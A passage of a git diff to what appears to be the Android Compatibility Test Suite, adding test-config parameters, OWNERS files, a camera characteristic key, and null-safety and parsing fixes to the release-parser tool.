     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsTvProviderTestCases.apk" />
diff --git a/tests/vr/AndroidTest.xml b/tests/vr/AndroidTest.xml
index cca1a02..2179395 100644
--- a/tests/vr/AndroidTest.xml
+++ b/tests/vr/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="vr" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/vr/OWNERS b/tests/vr/OWNERS
new file mode 100644
index 0000000..b0936ba
--- /dev/null
+++ b/tests/vr/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 189591
+krzysio@google.com
diff --git a/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java b/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java
index 160c9b5..96675c3 100644
--- a/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java
+++ b/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java
@@ -463,6 +463,7 @@
         charsKeyNames.add(CameraCharacteristics.CONTROL_AWB_LOCK_AVAILABLE.getName());
         charsKeyNames.add(CameraCharacteristics.CONTROL_AVAILABLE_MODES.getName());
         charsKeyNames.add(CameraCharacteristics.CONTROL_POST_RAW_SENSITIVITY_BOOST_RANGE.getName());
+        charsKeyNames.add(CameraCharacteristics.CONTROL_AVAILABLE_BOKEH_CAPABILITIES.getName());
         charsKeyNames.add(CameraCharacteristics.EDGE_AVAILABLE_EDGE_MODES.getName());
         charsKeyNames.add(CameraCharacteristics.FLASH_INFO_AVAILABLE.getName());
         charsKeyNames.add(CameraCharacteristics.HOT_PIXEL_AVAILABLE_HOT_PIXEL_MODES.getName());
diff --git a/tools/release-parser/src/com/android/cts/releaseparser/RcParser.java b/tools/release-parser/src/com/android/cts/releaseparser/RcParser.java
index a7ef925..e8c8afe 100644
--- a/tools/release-parser/src/com/android/cts/releaseparser/RcParser.java
+++ b/tools/release-parser/src/com/android/cts/releaseparser/RcParser.java
@@ -66,8 +66,13 @@
         Map<String, Integer> dependencies = new HashMap<>();
         for (Service service : mServices) {
             // skip /, e.g. /system/bin/sh
-            String file = service.getFile().substring(1);
-            dependencies.put(file, 1);
+            try {
+                String file = service.getFile().substring(1);
+                dependencies.put(file, 1);
+            } catch (Exception e) {
+                System.err.println(
+                        "err Service " + service.getName() + " File:" + service.getFile());
+            }
         }
 
         for (String importRc : mImportRc) {
@@ -140,7 +145,7 @@
 
     private void parseService(String line, BufferedReader buffReader) throws IOException {
         Service.Builder serviceBld = Service.newBuilder();
-        String[] phases = line.split(" ");
+        String[] phases = line.split("\\s+");
         serviceBld.setName(phases[1]);
         serviceBld.setFile(phases[2]);
         if (phases.length > 3) {
diff --git a/tools/release-parser/src/com/android/cts/releaseparser/ReleaseParser.java b/tools/release-parser/src/com/android/cts/releaseparser/ReleaseParser.java
index 5d4b9b4..13a01bf 100644
--- a/tools/release-parser/src/com/android/cts/releaseparser/ReleaseParser.java
+++ b/tools/release-parser/src/com/android/cts/releaseparser/ReleaseParser.java
@@ -122,80 +122,84 @@
         List<Entry> entryList = new ArrayList<Entry>();
 
         // walks through all files
-        for (File file : fileList) {
-            if (file.isFile()) {
-                String fileRelativePath =
-                        mRootPath.relativize(Paths.get(file.getAbsolutePath())).toString();
-                FileParser fParser = FileParser.getParser(file);
-                Entry.Builder fileEntryBuilder = fParser.getFileEntryBuilder();
-                fileEntryBuilder.setRelativePath(fileRelativePath);
+        System.out.println("Parsing: " + folderRelativePath);
+        // skip if it's a symbolic link to a folder
+        if (fileList != null) {
+            for (File file : fileList) {
+                if (file.isFile()) {
+                    String fileRelativePath =
+                            mRootPath.relativize(Paths.get(file.getAbsolutePath())).toString();
+                    FileParser fParser = FileParser.getParser(file);
+                    Entry.Builder fileEntryBuilder = fParser.getFileEntryBuilder();
+                    fileEntryBuilder.setRelativePath(fileRelativePath);
 
-                if (folderRelativePath.isEmpty()) {
-                    fileEntryBuilder.setParentFolder(ROOT_FOLDER_TAG);
-                } else {
-                    fileEntryBuilder.setParentFolder(folderRelativePath);
-                }
+                    if (folderRelativePath.isEmpty()) {
+                        fileEntryBuilder.setParentFolder(ROOT_FOLDER_TAG);
+                    } else {
+                        fileEntryBuilder.setParentFolder(folderRelativePath);
+                    }
 
-                Entry.EntryType eType = fParser.getType();
-                switch (eType) {
-                    case TEST_SUITE_TRADEFED:
-                        mRelContentBuilder.setTestSuiteTradefed(fileRelativePath);
-                        TestSuiteTradefedParser tstParser = (TestSuiteTradefedParser) fParser;
-                        // get [cts]-known-failures.xml
-                        mRelContentBuilder.addAllKnownFailures(tstParser.getKnownFailureList());
-                        mRelContentBuilder.setName(tstParser.getName());
-                        mRelContentBuilder.setFullname(tstParser.getFullName());
-                        mRelContentBuilder.setBuildNumber(tstParser.getBuildNumber());
-                        mRelContentBuilder.setTargetArch(tstParser.getTargetArch());
-                        mRelContentBuilder.setVersion(tstParser.getVersion());
-                        mRelContentBuilder.setReleaseType(ReleaseType.TEST_SUITE);
-                        break;
-                    case BUILD_PROP:
-                        BuildPropParser bpParser = (BuildPropParser) fParser;
-                        try {
-                            mRelContentBuilder.setReleaseType(ReleaseType.DEVICE_BUILD);
-                            mRelContentBuilder.setName(bpParser.getName());
-                            mRelContentBuilder.setFullname(bpParser.getFullName());
-                            mRelContentBuilder.setBuildNumber(bpParser.getBuildNumber());
-                            mRelContentBuilder.setVersion(bpParser.getVersion());
-                            mRelContentBuilder.putAllProperties(bpParser.getProperties());
-                        } catch (Exception e) {
-                            System.err.println(
-                                    "No product name, version & etc. in "
-                                            + file.getAbsoluteFile()
-                                            + ", err:"
-                                            + e.getMessage());
-                        }
-                        break;
-                    default:
-                }
-                // System.err.println("File:" + file.getAbsoluteFile());
-                if (fParser.getDependencies() != null) {
-                    fileEntryBuilder.addAllDependencies(fParser.getDependencies());
-                }
-                if (fParser.getDynamicLoadingDependencies() != null) {
-                    fileEntryBuilder.addAllDynamicLoadingDependencies(
-                            fParser.getDynamicLoadingDependencies());
-                }
-                fileEntryBuilder.setAbiBits(fParser.getAbiBits());
-                fileEntryBuilder.setAbiArchitecture(fParser.getAbiArchitecture());
+                    Entry.EntryType eType = fParser.getType();
+                    switch (eType) {
+                        case TEST_SUITE_TRADEFED:
+                            mRelContentBuilder.setTestSuiteTradefed(fileRelativePath);
+                            TestSuiteTradefedParser tstParser = (TestSuiteTradefedParser) fParser;
+                            // get [cts]-known-failures.xml
+                            mRelContentBuilder.addAllKnownFailures(tstParser.getKnownFailureList());
+                            mRelContentBuilder.setName(tstParser.getName());
+                            mRelContentBuilder.setFullname(tstParser.getFullName());
+                            mRelContentBuilder.setBuildNumber(tstParser.getBuildNumber());
+                            mRelContentBuilder.setTargetArch(tstParser.getTargetArch());
+                            mRelContentBuilder.setVersion(tstParser.getVersion());
+                            mRelContentBuilder.setReleaseType(ReleaseType.TEST_SUITE);
+                            break;
+                        case BUILD_PROP:
+                            BuildPropParser bpParser = (BuildPropParser) fParser;
+                            try {
+                                mRelContentBuilder.setReleaseType(ReleaseType.DEVICE_BUILD);
+                                mRelContentBuilder.setName(bpParser.getName());
+                                mRelContentBuilder.setFullname(bpParser.getFullName());
+                                mRelContentBuilder.setBuildNumber(bpParser.getBuildNumber());
+                                mRelContentBuilder.setVersion(bpParser.getVersion());
+                                mRelContentBuilder.putAllProperties(bpParser.getProperties());
+                            } catch (Exception e) {
+                                System.err.println(
+                                        "No product name, version & etc. in "
+                                                + file.getAbsoluteFile()
+                                                + ", err:"
+                                                + e.getMessage());
+                            }
+                            break;
+                        default:
+                    }
+                    // System.err.println("File:" + file.getAbsoluteFile());
+                    if (fParser.getDependencies() != null) {
+                        fileEntryBuilder.addAllDependencies(fParser.getDependencies());
+                    }
+                    if (fParser.getDynamicLoadingDependencies() != null) {
+                        fileEntryBuilder.addAllDynamicLoadingDependencies(
+                                fParser.getDynamicLoadingDependencies());
+                    }
+                    fileEntryBuilder.setAbiBits(fParser.getAbiBits());
+                    fileEntryBuilder.setAbiArchitecture(fParser.getAbiArchitecture());
 
-                Entry fEntry = fileEntryBuilder.build();
-                entryList.add(fEntry);
-                mEntries.put(fEntry.getRelativePath(), fEntry);
-                folderSize += file.length();
-            } else if (file.isDirectory()) {
-                // Checks subfolders
-                Entry.Builder subFolderEntry = parseFolder(file.getAbsolutePath());
-                if (folderRelativePath.isEmpty()) {
-                    subFolderEntry.setParentFolder(ROOT_FOLDER_TAG);
-                } else {
-                    subFolderEntry.setParentFolder(folderRelativePath);
+                    Entry fEntry = fileEntryBuilder.build();
+                    entryList.add(fEntry);
+                    mEntries.put(fEntry.getRelativePath(), fEntry);
+                    folderSize += file.length();
+                } else if (file.isDirectory()) {
+                    // Checks subfolders
+                    Entry.Builder subFolderEntry = parseFolder(file.getAbsolutePath());
+                    if (folderRelativePath.isEmpty()) {
+                        subFolderEntry.setParentFolder(ROOT_FOLDER_TAG);
+                    } else {
+                        subFolderEntry.setParentFolder(folderRelativePath);
+                    }
+                    Entry sfEntry = subFolderEntry.build();
+                    entryList.add(sfEntry);
+                    mEntries.put(sfEntry.getRelativePath(), sfEntry);
+                    folderSize += sfEntry.getSize();
                 }
-                Entry sfEntry = subFolderEntry.build();
-                entryList.add(sfEntry);
-                mEntries.put(sfEntry.getRelativePath(), sfEntry);
-                folderSize += sfEntry.getSize();
             }
         }
         folderEntry.setName(folderRelativePath);
diff --git a/tools/vm-tests-tf/OWNERS b/tools/vm-tests-tf/OWNERS
new file mode 100644
index 0000000..29fea99
--- /dev/null
+++ b/tools/vm-tests-tf/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+include /hostsidetests/classloaders/OWNERS